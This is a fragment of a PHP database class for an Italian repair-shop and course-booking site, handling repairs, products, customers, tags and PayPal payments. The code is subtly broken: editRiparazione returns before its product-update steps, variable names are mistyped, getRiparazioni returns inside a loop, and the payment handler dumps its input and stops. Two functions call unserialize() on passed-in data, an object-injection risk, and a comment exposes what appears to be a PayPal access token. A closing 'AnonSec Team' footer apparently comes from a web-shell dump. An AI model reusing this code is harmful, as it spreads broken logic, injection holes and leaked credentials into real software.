            $scontrollo = 0;
          }

      }
    }
    if($controllo){return true;}
    return false;
    

  }
    public function editRiparazione($idRiparazione, $idDevice, $idcliente, $dataIngresso,$dataRiconsegna,$serialeImei,$accessoriConsegnati,$descrizioneProblema,$descrizioneRiparazione,$fotoRiparazione,$totaleCostoRiparazione, $preventivoRiparazione, $note,$sede, $stato, $prodotti){
      $astato=$this->quoteInt($stato);
      $asede=$this->quoteText($sede);

      $aidRiparazione=$this->quoteInt($idRiparazione);
      $aidcliente=$this->quoteInt($idcliente);
      $aidDevice=$this->quoteInt($idDevice);
      $adataIngresso=$this->quoteText($dataIngresso);
      $adataRiconsegna=$this->quoteText($dataRiconsegna);
      $aserialeImei=$this->quoteText($serialeImei);
      $aaccessoriConsegnati=$this->quoteText($accessoriConsegnati);
      $adescrizioneProblema=$this->quoteText($descrizioneProblema);
      $adescrizioneRiparazione=$this->quoteText($descrizioneRiparazione);
      $afotoRiparazione=$this->quoteText($fotoRiparazione);
      $atotaleCostoRiparazione=$this->quoteText($totaleCostoRiparazione);
      $apreventivoRiparazione=$this->quoteText($preventivoRiparazione);
      $anote=$this->quoteText($note);
      $query = "UPDATE riparazione SET  iddevice='$aidDevice', idcliente= $aidcliente, datariconsegna=$adataRiconsegna, serialeimei= $aserialeImei,accessoriconsegnati= $aaccessoriConsegnati, descrizioneproblema= $adescrizioneProblema, descrizioneriparazione=$adescrizioneRiparazione,fotoriparazione = $afotoRiparazione, totalecostoriparazione=$atotaleCostoRiparazione, preventivoriparazione= $apreventivoRiparazione, note=$anote, stato=$astato, sede=$asede WHERE idriparazione = $aidRiparazione";
        return $this->SafeExec($query);

      //cancello i vecchi prodotti
      $aid = $this->quoteInt($id);
      $query = "DELETE FROM riparazioneprodotti where idriparazione = $aidRiparazione";
      return $this->SafeInsert($query);


      //aggiungo i nuovi prodotti
      $aidriparazione = $aidRiparazione;
      //per ogni prodotti
      $controllo = 1;
       
      $prodotti = unserialize($prodotti);
      foreach ($prodotti as $key => $value) {
          $aidprodotto = $this->quoteInt($value->id);
          $aquantita = $this->quoteInt($value->quantita);
          $aquery = "INSERT INTO riparazioneprodotti (idriparazione, idprodotto, quantita) VALUES ($aidriparazione, $aidprodotto, $aquantita) ";
          if(!$this->SafeExec($aquery)){
            $scontrollo = 0;
          }

      }
        
      if($controllo){return true;}
      return false;

  }



  public function deleteProdotto($id){
        $aid = $this->quoteInt($id);
        $query = "DELETE FROM prodotto where idprodotto = $aid";
        return $this->SafeInsert($query);
  }

  public function insertProdotto($nome, $descrizione, $costo, $codice, $disponibile, $foto, $idevice, $riparazione){
        $acosto=$this->quoteText($costo);
        $acodice=$this->quoteText($codice);
        $adisponibile=$this->quoteInt($disponibile);
        $afoto=$this->quoteText($foto);
        $adescrizione=$this->quoteText($descrizione);
        $anome=$this->quoteText($nome);
        $ariparazione=$this->quoteText($riparazione);
        $aidevice=$this->quoteInt($idevice);


    
        $query = "INSERT INTO prodotto (costo, codice, disponibile, foto, descrizione, nome, iddevice, riparazione) VALUES ($acosto, $acodice, $adisponibile, $afoto, $adescrizione, $anome, $aidevice, $ariparazione) ";
        return $this->SafeInsert($query);
  }

  public function updateProdotto($id, $nome, $descrizione, $costo, $codice, $disponibile, $foto, $idevice, $riparazione){
        $aid = $this->quoteInt($id);
        $acosto=$this->quoteText($costo);
        $adescrizione=$this->quoteText($descrizione);
        $anome=$this->quoteText($nome);
        $acodice=$this->quoteText($codice);
        $adisponibile=$this->quoteInt($disponibile);
        $aidevice=$this->quoteInt($idevice);
        $ariparazione=$this->quoteText($riparazione);

        if($foto){
          $afoto=$this->quoteText($foto);
          $query = "UPDATE prodotto SET costo=$acosto, codice= $acodice, iddevice=$aidevice, riparazione=$ariparazione, descrizione=$adescrizione, disponibile= $adisponibile, foto=$afoto, nome=$anome WHERE idprodotto = $aid";
        }else{
            $query = "UPDATE prodotto SET costo=$acosto, codice= $acodice, iddevice=$aidevice, riparazione=$ariparazione, descrizione=$adescrizione, disponibile= $adisponibile, nome=$anome WHERE idprodotto = $aid";
        }
        $this->SafeExec($query);
        return true;
        
  }

  public function getProdotto($iddevice){
    if($iddevice){
      $aiddevice=$this->quoteInt($iddevice);
      $query = "SELECT * FROM prodotto LEFT JOIN device using (iddevice) where iddevice = $aiddevice";
    }else{
      $query = "SELECT * FROM prodotto LEFT JOIN device using (iddevice)";
    }
      return $this->SafeFetch($query);
  }


    public function getMarche(){
        $query = "SELECT * FROM marca";
        return $this->SafeFetch($query);

     }
    public function getCategor(){
        $query = "SELECT * FROM categoria";
        return $this->SafeFetch($query);

     }
     public function getStati(){
        $query = "SELECT * FROM stati";
        return $this->SafeFetch($query);

     }
    public function getCitta(){
        $query = "SELECT id_comune, nome_comune, catasto, sigla_provincia FROM comuni join province using (id_provincia) order by nome_comune ASC";
        return $this->SafeFetch($query);

     }
    public function getDevices(){
        $query = "SELECT * FROM device join categoria using (idcategoria) JOIN marca using(idmarca)";
        return $this->SafeFetch($query);

     }
     public function getCliente($idcliente){
        $aidcliente=$this->quoteInt($idcliente);
        $query = "SELECT * FROM cliente where idcliente =". $aidcliente;
        return $this->SafeFetch($query);
     }
     public function getClienteEmail($idcliente){
        $aidcliente=$this->quoteInt($idcliente);
        $query = "SELECT * FROM cliente where idcliente =". $aidcliente;
        return $this->SafeFetch($query)[0]["email"];
     }


    public function getClienti(){
        $query = "SELECT * FROM cliente";
        return $this->SafeFetch($query);

     }
     public function getRiparazioni($where=null){
        if(!$where){
          $query = "SELECT * FROM cliente JOin riparazione using (idcliente) JOIN device using (iddevice) JOIN Marca Using (idmarca) JOIN Categoria using (idcategoria) JOin stati on riparazione.stato = stati.idstato order by dataingresso DESC";
          $riparazioni= $this->SafeFetch($query);

          foreach ($riparazioni as $key => $value) {
              $aidriparazione = $riparazioni[$key]['idriparazione'];
              $aquery = "SELECT * FROM riparazioneprodotti JOIN prodotto using (idprodotto) WHERE idriparazione= $aidriparazione";
              $riparazioni[$key]['prodotti'] =  $this->SafeFetch($aquery);
              return $riparazioni;
          }

        }else{
          $awhere = $this->quoteText($where);
          $query = "SELECT * FROM riparazione WHERE dataIngresso>$awhere order by dataingresso DESC";
          return $this->SafeFetch($query);

        }
        
     }
      public function getRiparazione($idRiparazione){
        $jidRiparazione = $this->QuoteInt($idRiparazione);
        $query = "SELECT * FROM riparazione WHERE idRiparazione = ". $jidRiparazione;
        return $this->SafeFetch($query);

    }


  public function getCategorie(){
       $query = "SELECT * FROM categorie";
        $one= $this->SafeFetch($query);
        return $one;
  }

  public function insertCategoria($titolo, $descrizione, $permessiw, $permessir, $colore){
    $atitolo = $this->QuoteText($titolo);
    $adescrizione = $this->QuoteText($descrizione);
    $apermessiw = $this->QuoteText($permessiw);
    $apermessir = $this->QuoteText($permessir);
    $acolore = $this->QuoteText($colore);

    $query = "INSERT INTO categorie (titolo, descrizione, permessiW, permessiR, colore) "
        ."VALUES ($atitolo, $adescrizione, $apermessiw, $apermessir, $acolore)";//, $qpassword, $qfirstname, $qlastname, $qemail, $qcreated_by)";
    return $this->SafeInsert($query);

  }
  
  public function editCategoria($id, $titolo, $descrizione, $permessiw, $permessir, $colore){
    $aid = $this->QuoteInt($id);
    $atitolo = $this->QuoteText($titolo);
    $adescrizione = $this->QuoteText($descrizione);
    $apermessiw = $this->QuoteText($permessiw);
    $apermessir = $this->QuoteText($permessir);
    $acolore = $this->QuoteText($colore);
    $query = "UPDATE categorie SET titolo = $atitolo, descrizione = $adescrizione, permessiW=$apermessiw, permessiR=$apermessir, colore=$acolore WHERE id_cat = $aid";
      return $this->SafeExec($query);

  }
  
  public function deleteCategoria($id){
    $aid = $this->QuoteInt($id);  
    $query = "DELETE FROM categorie WHERE id_cat = $aid";
      return $this->SafeExec($query);
  }

public function aggiungiTag($valore, $id, $tabella){
      $avalore = $this->QuoteText($valore);
      $aid = $this->QuoteInt($id);
      $atabella = $this->QuoteText($tabella);
      $query = "INSERT INTO tags (valore, idtabella, nometabella) VALUES ($avalore, $aid, $atabella) ";

      return $this->SafeInsert($query);
  }

public function ricercaTag($tag){
    $tag = $this->QuoteText('%'.$tag.'%');
    $query = "SELECT cliente.ragioneSociale risultato, tags.valore, tags.idtabella, tags.nometabella FROM tags JOIN cliente ON tags.idtabella = cliente.idcliente WHERE tags.valore LIKE $tag ";
    return $this->SafeFetch($query);
}




////////FINE DA METTERE IN FILE ESTERNO ///////
public function pagamento($valore){

    $obj = json_decode($valore);
    echo $valore;
    echo "<br>";
    echo $authorizationid;
    print_r($obj);

    die;
    /*
    {"orderID":"0HM865037S501220F","payerID":"TBMWXW9JTTMCA","paymentID":null,"billingToken":null,"facilitatorAccessToken":"A21AAEZNOewl4x733s_cBmiGgoD-hXRj_Ms8W8yCn8S2Dyxp6E8-7IwS-IkE265sHwGPQ1tOtkElWMFLZa9wvkTqu7DnFa88Q"}
    */


   /* $orderId=$obj['orderID'];
    
    use PayPalCheckoutSdk\Orders\OrdersGetRequest;

    $client = PayPalClient::client();
    $response = $client->execute(new OrdersGetRequest($orderId));

    //print json_encode($response->result);
    print "Status Code: {$response->statusCode}\n";
    print "Status: {$response->result->status}\n";
    print "Order ID: {$response->result->id}\n";
    print "Intent: {$response->result->intent}\n";
    print "Links:\n";
    foreach($response->result->links as $link)
    {
      print "\t{$link->rel}: {$link->href}\tCall Type: {$link->method}\n";
    }

     print "Gross Amount: {$response->result->purchase_units[0]->amount->currency_code} {$response->result->purchase_units[0]->amount->value}\n";

    die;
     */
    

  //$datainizio, $datafine, $note, $stato, $inseritopiattaforma, $iduser, $totalecostopratica, $idcorso, $idcliente, $sede)
    switch ($obj['status']) {
      case 'created':$idstato = 6;
      break;
      case 'approved': $idstato = 4;
      break;
      case 'failed': $idstato = 6;
      break;
      default:
        $idstato = 6;
        break;
    }


    $tmp =  explode("||", $obj['custom']);
    $tmpTime = explode("T", explode("Z", $obj['create_time'])[0]);

    $aidcorso             = $this->quoteInt($tmp[0]);
    $aidcliente           = $this->quoteInt($tmp[1]);
    $sw                   = true;
    $adatainizio          = $this->quoteText($tmpTime[0]." ".$tmpTime[1]);
    $adatafine            = $this->quoteText("");
    $anote                = $this->quoteText("STATO PAYPAL: " . $obj['status'] . " idPayPal: ". $obj['id'] . " Altro". $valore);
    $astato               = $this->quoteInt($idstato);
    $asede                = $this->quoteText("ON LINE");
    $ainseritopiattaforma = $this->quoteInt(0);
    $aiduser              = $this->quoteInt(-1);
    $atotalecostopratica  = $this->quoteText(json_decode($obj['amount'])['total']);
    $query                = "INSERT INTO pratica   (datainizio,datafine,note,stato,inseritopiattaforma, id_user, totalecostopratica, last_time_update, sede) VALUES($adatainizio,$adatafine,$anote,$astato,$ainseritopiattaforma, $aiduser, $atotalecostopratica, NOW(), $asede)";
    if ($id = $this->SafeInsert($query))
      $sw = true;
    $query1 = "INSERT INTO partecipazione   (idcliente, idpratica) VALUES($aidcliente,$id)";
    if ($this->SafeInsert($query1))
      $sw = true;
    else
      $sw = false;
    $query2 = "INSERT INTO afferenza   (idcorso, idpratica) VALUES($aidcorso,$id)";
    if ($this->SafeInsert($query2))
      $sw = true;
    else
      $sw = false;
    return $sw;
  }
  


}

?>

Anon7 - 2022
AnonSec Team